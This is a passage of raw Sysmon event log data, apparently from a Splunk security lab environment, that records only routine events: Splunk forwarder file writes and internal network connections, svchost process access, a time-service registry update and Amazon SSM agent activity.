Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B52C0C826DF0B03F279FEF6DCE85A674,SHA256=25B2521B0CBE5AF7B0B90F2670A70AEA6CB673C2AEDEB562FD7511ED6D1323F3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015017Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:40.758{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A4ECB22B5D7D910BFB3291F3CE15525E,SHA256=DBF7DAE306070EC087F26987BA39827289233B112A0FE374734976FEBC6C7DEF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:41.604{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D58E00991DC390AFF28A46835B5A450,SHA256=249B207DF2960B04B2EF97222A4AB42AE8A1D7392512759AF75915A12BD2B2AD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015018Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:41.805{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E8C1BA21C91E9F9B09CE452722AA3948,SHA256=64892D4C47FBB7AD7761904485812B1E6A534CE80E15DAC4B489C233631CDBBF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015020Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:40.520{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50194-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015019Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:42.852{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A2670B3ABCBF4E1CD90DCFB3C59D2E3,SHA256=68DF1F5D98CB2B633A5384C6826680421F87DE784CDA1BB4EF61AFE92A0B366A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:42.634{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DFFEE2E45A7CDF09410C59A2366A2B8A,SHA256=9429FAC9D4C1421B9A8C1051B1E75DC10C55138B241738426C14D2AF2547DEE7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015021Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:43.867{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EF414A90510759E76E75E482A481ED6,SHA256=122C5C167ACF4868E499DCACF1E7063820FB9361033CA4490153BE21322876B4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:41.478{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59385-false10.0.1.12-8000- 10341000x800000000000000047358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:43.884{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:43.884{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:43.650{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=593CF5478537D87CDF4E1D84E95C886F,SHA256=4798F917E0450A2F7F053B7FE571E82F4056D892AAC18EC37120C1DF642E5958,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015022Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:44.914{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8849497632C6894D59A5F087CC61B8CB,SHA256=7E343996A1E295625F0248FF2DED40168EAA57CDC6EACDFDA93DC101A720CCFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:44.712{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F32C9E87FB7951708069DEE402BDE776,SHA256=8B11BBD106EE17A5D5D43C1AF201E6E0144D136CECEA158E9719ADE91289F365,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:45.728{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C98A14EB75C062261F1A85D7BB7E4BC,SHA256=BC33DBF9E966528400EF491DA637EFBD22049B83BB0893C0FCCDF3EE07D9CC0B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015023Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:45.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD94A382AA754F67D50C059C8C0587B0,SHA256=C1F079473468138CF969CC4116B20E9CFFECD5A2EC3718F5F5D627E4AB963106,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:46.993{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:46.993{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:46.993{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:46.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27A1D908C073C6FC0480C9B5F8331516,SHA256=B44FDF20969320FCDC6D812396BE7BC5A004C650F208EDC1EDEF36FFF8FF51C2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015024Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:46.977{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE3F47CEB9DAECE5FA8A5030252E6068,SHA256=A12628CDDB34A8242DA4468C81F8DC6739988DF70C47C85329EC218075A09655,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:47.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=106045C260D49E1C4C42EE375CC82BAD,SHA256=BE4BB58CA22E9F86702CF927FBC3914980636BB1B2DE47FD57119A8A94A0B599,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015025Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:46.520{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50195-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:48.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DCF2D9E25A069260916CB84469075B0,SHA256=E7FFF57DF91CCC432671F60902835AC31848109F0EB62926D62CD2B0D31F9256,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000015027Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:50:48.383{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a653-0x3e069cbe) 23542300x800000000000000015026Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:48.008{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C72062EB147CD477A1D52B50BDABE603,SHA256=AE85C687F701DEB193A1724C14F08B340CF01ED1384B5FB22CD0C120E466BF2A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:49.806{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED021EF0F376F025DD0D0C4C134D3460,SHA256=53787700E35196D02A1B4FD38766694E8755C745377983321FA447804CC4E085,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015028Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:49.024{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52AFF9A4D70A38044B7D7D0F2A91B928,SHA256=10048C1C3DFA67D732EA43295F6CA806FCD268E7679D4351897759AE005FB300,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:50.816{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90F52122945B65C3DC8C0D53D1B56BD3,SHA256=F6A9FB660137D38B8F7D9D82F9A1484DC076C44814730B43C40EA2D27FDA1655,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:47.462{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59386-false10.0.1.12-8000- 23542300x800000000000000015029Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:50.055{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8DFFE98A62FBBF712A5AE1F2D6AE151,SHA256=2BDB4A78F2C74833F76C334DA7EB4A2CFB246B59A8333460967E206B2672B75F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015030Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:51.066{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0395EA6AF4C0D7699F4E1DF75744508,SHA256=3D52A8C3438EF16E63CBFD38E716B151D586AED30532DA6473EF6127880E5D1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:52.050{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56013C97FB1A851524AB4F40B430246E,SHA256=1C30FF852360E955ACF1C0B12E3384E2F8C20208E734CC401CC33015BEA06125,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015031Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:52.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31BD55CE03C32BC053E61BBE55408B68,SHA256=1497D8B18D95297DC620EC41B89199FF21C297DFF00C0BF509544F01C95E99CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:53.082{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC1642B3F3BD77A64A8B18DBDF23D9F8,SHA256=A24059763CCC722A4F5B78EAEB8D49BCDA787C30F26A538336A5104D0AFEAE68,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015032Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:53.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E5EC20DB2664B8FA651039E42554D88,SHA256=802EB38F379366000B752971080BE0B2FD94741557F7BC1A028575762457E9E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015035Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:54.815{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015034Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:54.190{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCD1B305AA599F171B3281BFDFBD852F,SHA256=6980388255BF6425265B07EFC99CBECFAE66ED1241BE1D60976D9C228F1089F4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:54.097{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB8ED5759045B4E11E30C2948D697ABE,SHA256=5FA21EB23732B753CF41F26298651365118A24C67132B443730D350112945B91,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015033Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:52.453{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50196-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:55.649{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-045MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:55.146{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA1FB2F247458689CCBEBF704B06CDAC,SHA256=611CF9AF8E134022B70BF296F9E5BB85C1F6E392E0B3E7B0BC562230AACA243A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015036Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:55.222{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=297D1642216CCB3B7988ABDBBFAB3977,SHA256=8341848FEAC7CCB1516DB9FA118934200144513708FF005CF20F16BBFD1F6C6E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:56.658{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-046MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:53.441{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59387-false10.0.1.12-8000- 23542300x800000000000000047376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:56.267{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F34442A9F34E5ACA5BBAD649764CD77,SHA256=8A704BD3BCA25533E1881AA27DBA39590DDF4A4FF262E2BC58B2D9DA83ACF67A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015037Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:56.222{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=259874DB0DCF745A23BB342D88D1E140,SHA256=814B340B7342C6117C0E0E3A7A353383515CF49DE8CA29814B82A71E5AC4C648,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:57.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66EE79BC14673CFC2861FCADA997C543,SHA256=BE39FA068927A170202E790D36C9DC01E1AB8860A489BEEC4D39A7E98D0BC0A8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015039Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:55.125{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50197-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000015038Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:57.237{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE4FFAFFE9A92D0E51CBA851A68FEDC4,SHA256=01262AEFBD3BEE0690236E5738B120DBC893411436473615E26A66B34C11B937,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:58.300{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 